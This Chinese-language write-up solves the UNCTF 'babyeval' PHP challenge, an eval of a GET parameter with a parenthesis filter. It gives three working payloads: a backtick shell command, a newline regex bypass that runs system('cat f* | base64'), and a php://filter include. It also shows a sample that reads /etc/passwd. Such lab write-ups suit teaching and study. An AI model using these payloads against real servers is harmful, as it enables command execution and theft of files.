1. 程式人生 > 實用技巧 >UNCTF-WEB:babyeval(php執行運算子|php過濾括號|換行符繞過正則)

UNCTF-WEB:babyeval(php執行運算子|php過濾括號|換行符繞過正則)

php執行運算子

程式碼:

<?php
    echo `base64 /etc/passwd`;
?>

上面的程式碼使用了反引號,PHP 將嘗試將反引號中的內容作為 shell 命令來執行,並將其輸出資訊返回(即,可以賦給一個變數而不是簡單地丟棄到標準輸出)

如果過濾了括號可以使用執行運算子去繞過進行輸出

題目原始碼:

<?php
    // flag在flag.php
    if(isset($_GET['a'])){
        if(preg_match('/\(.*\)/', $_GET['a']))
            die('hacker!!!');
        
ob_start(function($data){ if (strpos($data, 'flag') !== false) return 'ByeBye hacker'; return false; }); eval($_GET['a']); } else { highlight_file(__FILE__); } ?>

exp1:php執行運算子

GET /?a=echo `base64 flag.php`

exp2:換行符繞過(%0a)

GET /?a=system(%27%0acat%20f*%20|%20base64%27);

exp3:利用include函式加php偽協議

GET /a=include%20%27php://filter/convert.base64-encode/resource=./flag.php%27;


參考:https://www.php.net/manual/zh/language.operators.execution.php

https://www.ctfwp.com/%E5%AE%98%E6%96%B9%E8%B5%9B%E4%BA%8B%E9%A2%98/2020UNCTF